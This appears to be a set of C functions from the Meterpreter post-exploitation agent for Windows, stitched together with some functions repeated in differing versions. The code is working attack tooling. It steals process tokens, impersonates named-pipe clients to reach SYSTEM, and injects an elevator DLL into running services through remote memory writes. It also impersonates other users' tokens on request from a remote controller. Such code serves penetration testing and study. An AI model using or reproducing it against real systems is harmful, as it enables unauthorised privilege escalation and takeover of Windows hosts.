/* * sys_config_rev2self * * Calls RevertToSelf() */ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet) { #ifdef _WIN32 DWORD dwResult = ERROR_SUCCESS; Packet * response = NULL; do { response = packet_create_response(packet); if (!response) { dwResult = ERROR_INVALID_HANDLE; break; } core_update_thread_token(remote, NULL); core_update_desktop(remote, -1, NULL, NULL); if (!RevertToSelf()) dwResult = GetLastError(); } while(0); if (response) packet_transmit_response(dwResult, remote, response); #else DWORD dwResult = ERROR_NOT_SUPPORTED; #endif return dwResult; }
/* * @brief Drops an existing thread token. * @param pRemote Pointer to the \c Remote instance. * @param pRequest Pointer to the \c Request packet. * @returns Indication of success or failure. */ DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket) { Packet* pResponse = packet_create_response(pPacket); DWORD dwResult = ERROR_SUCCESS; #ifdef _WIN32 core_update_thread_token(pRemote, NULL); dwResult = populate_uid(pResponse); #else dwResult = ERROR_NOT_SUPPORTED; #endif // Transmit the response packet_transmit_response(dwResult, pRemote, pResponse); return dwResult; }
/* * sys_droptoken * ---------- * * Drops an existing thread token */ DWORD request_sys_config_drop_token(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 DWORD res = ERROR_SUCCESS; CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { core_update_thread_token(remote, NULL); if (!GetTokenInformation(remote->hThreadToken, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); break; } // Make full name in DOMAIN\USERNAME format _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); #else DWORD res = ERROR_NOT_SUPPORTED; #endif // Transmit the response packet_transmit_response(res, remote, response); return res; }
/* * Worker thread for named pipe impersonation. Creates a named pipe and impersonates * the first client which connects to it. */ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) { DWORD dwResult = ERROR_ACCESS_DENIED; HANDLE hServerPipe = NULL; HANDLE hToken = NULL; HANDLE hSem = NULL; char * cpServicePipe = NULL; Remote * remote = NULL; BYTE bMessage[128] = {0}; DWORD dwBytes = 0; do { if (!thread) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS); } cpServicePipe = (char *)thread->parameter1; remote = (Remote *)thread->parameter2; hSem = (HANDLE)thread->parameter3; if (!cpServicePipe || !remote) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS); } dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe); // create the named pipe for the client service to connect to hServerPipe = CreateNamedPipe(cpServicePipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (!hServerPipe) { BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed"); } while (TRUE) { if (event_poll(thread->sigterm, 0)) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD); } //signal the client that the pipe is ready if (hSem) { if (!ReleaseSemaphore(hSem, 1, NULL)) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed", ERROR_DBG_TERMINATE_THREAD); } } // wait for a client to connect to our named pipe... if (!ConnectNamedPipe(hServerPipe, NULL)) { if (GetLastError() != ERROR_PIPE_CONNECTED) continue; } dprintf("[ELEVATE] pipethread. got client conn."); // we can't impersonate a client untill we have performed a read on the pipe... if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) { CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed"); } // impersonate the client! if (!ImpersonateNamedPipeClient(hServerPipe)) { CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed"); } // get a handle to this threads token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) { CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed"); } // now we can set the meterpreters thread token to that of our system // token so all subsequent meterpreter threads will use this token. core_update_thread_token(remote, hToken); dwResult = ERROR_SUCCESS; break; } } while (0); if (hServerPipe) { DisconnectNamedPipe(hServerPipe); CLOSE_HANDLE(hServerPipe); } dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult); return dwResult; }
/* * sys_steal_token * ---------- * * Steals the primary token from an existing process */ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD dwResult = ERROR_SUCCESS; #ifdef _WIN32 HANDLE hToken = NULL; HANDLE hProcessHandle = NULL; HANDLE hDupToken = NULL; DWORD dwPid; do { // Get the process identifier that we're attaching to, if any. dwPid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); if (!dwPid) { dwResult = -1; break; } hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid); if (!hProcessHandle) { dwResult = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", dwPid, dwResult); break; } if (!OpenProcessToken(hProcessHandle, TOKEN_ALL_ACCESS, &hToken)) { dwResult = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", dwPid, dwResult); break; } if (!ImpersonateLoggedOnUser(hToken)) { dwResult = GetLastError(); dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", dwPid, dwResult); break; } if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hDupToken)) { dwResult = GetLastError(); dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", dwPid, dwResult); break; } core_update_thread_token(remote, hDupToken); dwResult = populate_uid(response); } while (0); if (hProcessHandle) { CloseHandle(hProcessHandle); } if (hToken) { CloseHandle(hToken); } #else dwResult = ERROR_NOT_SUPPORTED; #endif // Transmit the response packet_transmit_response(dwResult, remote, response); return dwResult; }
/* * Elevate from local admin to local system via code injection in a system service. * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open * service process from a non elevated admin. * * A current limitation in LoadRemoteLibraryR prevents this from working across * architectures so we just filter out running this from an x64 platform for now. */ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; HANDLE hTokenDup = NULL; HANDLE hProcess = NULL; HANDLE hThread = NULL; HANDLE hManager = NULL; HANDLE hService = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; ENUM_SERVICE_STATUS * lpServices = NULL; char * cpServiceName = NULL; SERVICE_STATUS_PROCESS status = {0}; char cCommandLine[128] = {0}; OSVERSIONINFO os = {0}; DWORD dwServiceLength = 0; DWORD dwBytes = 0; DWORD index = 0; DWORD dwServicesReturned = 0; DWORD dwExitCode = 0; do { // only works on x86 systems for now... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" ) // filter out Windows NT4 if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT ) cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS ); if( !elevate_priv( SE_DEBUG_NAME, TRUE ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" ); hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE ); if( !hManager ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) ) { if( GetLastError() != ERROR_MORE_DATA ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" ); } lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes ); if( !lpServices ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" ); dwResult = ERROR_ACCESS_DENIED; // we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully // it means we have been given a system token so we duplicate it as a primary token for use by metsrv. for( index=0 ; index<dwServicesReturned ; index++ ) { do { hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); if( !hService ) break; if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) ) break; if( status.dwCurrentState != SERVICE_RUNNING ) break; // open a handle to this service (assumes we have SeDebugPrivilege)... hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId ); if( !hProcess ) break; dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId ); _snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) break; if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) break; // use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) break; // we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed. if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 ) break; // get the exit code for our injected elevator.dll if( !GetExitCodeThread( hThread, &dwExitCode ) ) break; // if the exit code was successfull we have been given a local system token, so we duplicate it // as a primary token for use by metsrv if( dwExitCode == ERROR_SUCCESS ) { if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) ) { if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) ) { core_update_thread_token( remote, hTokenDup ); dwResult = ERROR_SUCCESS; break; } } } } while( 0 ); CLOSE_SERVICE_HANDLE( hService ); CLOSE_HANDLE( hProcess ); CLOSE_HANDLE( hThread ); CLOSE_HANDLE( hToken ); if( dwResult == ERROR_SUCCESS ) break; } } while( 0 ); CLOSE_SERVICE_HANDLE( hManager ); if( lpServices ) free( lpServices ); SetLastError( dwResult ); return dwResult; }
/* * sys_steal_token * ---------- * * Steals the primary token from an existing process */ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 DWORD res = ERROR_SUCCESS; CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; HANDLE token = NULL; HANDLE handle = NULL; HANDLE xtoken = NULL; DWORD pid; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { // Get the process identifier that we're attaching to, if any. pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); if (!pid) { res = -1; break; } handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if(!handle) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", pid, res); break; } if(! OpenProcessToken(handle, TOKEN_ALL_ACCESS, &token)){ res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", pid, res); break; } if(! ImpersonateLoggedOnUser(token)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", pid, res); break; } if(! DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &xtoken)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", pid, res); break; } core_update_thread_token(remote, xtoken); if (! GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to get token information for %d (%u)", pid, res); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to lookup sid for %d (%u)", pid, res); break; } // Make full name in DOMAIN\USERNAME format _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); if(handle) CloseHandle(handle); if(token) CloseHandle(token); #else DWORD res = ERROR_NOT_SUPPORTED; #endif // Transmit the response packet_transmit_response(res, remote, response); return res; }
DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet) { DWORD num_unique_tokens = 0, num_tokens = 0, i; unique_user_token *uniq_tokens = calloc(BUF_SIZE, sizeof(unique_user_token)); SavedToken *token_list = NULL; BOOL bTokensAvailable = FALSE, delegation_available = FALSE; char temp[BUF_SIZE] = "", *requested_username, return_value[BUF_SIZE] = ""; HANDLE xtoken; TOKEN_PRIVS token_privs; Packet *response = packet_create_response(packet); requested_username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN); // Enumerate tokens token_list = get_token_list(&num_tokens, &token_privs); if (!token_list) { sprintf(temp, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); goto cleanup; } // Process all tokens to get determinue unique names and delegation abilities for (i=0;i<num_tokens;i++) if (token_list[i].token) { process_user_token(token_list[i].token, uniq_tokens, &num_unique_tokens, BY_USER); process_user_token(token_list[i].token, uniq_tokens, &num_unique_tokens, BY_GROUP); } for (i=0;i<num_unique_tokens;i++) { if (!_stricmp(uniq_tokens[i].username, requested_username) )//&& uniq_tokens[i].impersonation_available) { if (uniq_tokens[i].delegation_available) delegation_available = TRUE; if (delegation_available) strncat(return_value, "[+] Delegation token available\n", sizeof(return_value)-strlen(return_value)-1); else strncat(return_value, "[-] No delegation token available\n", sizeof(return_value)-strlen(return_value)-1); for (i=0;i<num_tokens;i++) { if (is_token(token_list[i].token, requested_username)) if (ImpersonateLoggedOnUser(token_list[i].token)) { strncat(return_value, "[+] Successfully impersonated user ", sizeof(return_value)-strlen(return_value)-1); strncat(return_value, token_list[i].username, sizeof(return_value)-strlen(return_value)-1); strncat(return_value, "\n", sizeof(return_value)-strlen(return_value)-1); if (!DuplicateTokenEx(token_list[i].token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &xtoken)) { dprintf("[INCOGNITO] Failed to duplicate token for %s (%u)", token_list[i].username, GetLastError()); } else { core_update_thread_token(remote, xtoken); } goto cleanup; } } } } strncat(return_value, "[-] User token ", sizeof(return_value)-strlen(return_value)-1); strncat(return_value, requested_username, sizeof(return_value)-strlen(return_value)-1); strncat(return_value, " not found\n", sizeof(return_value)-strlen(return_value)-1); cleanup: for (i=0;i<num_tokens;i++) CloseHandle(token_list[i].token); free(token_list); free(uniq_tokens); packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); packet_transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; }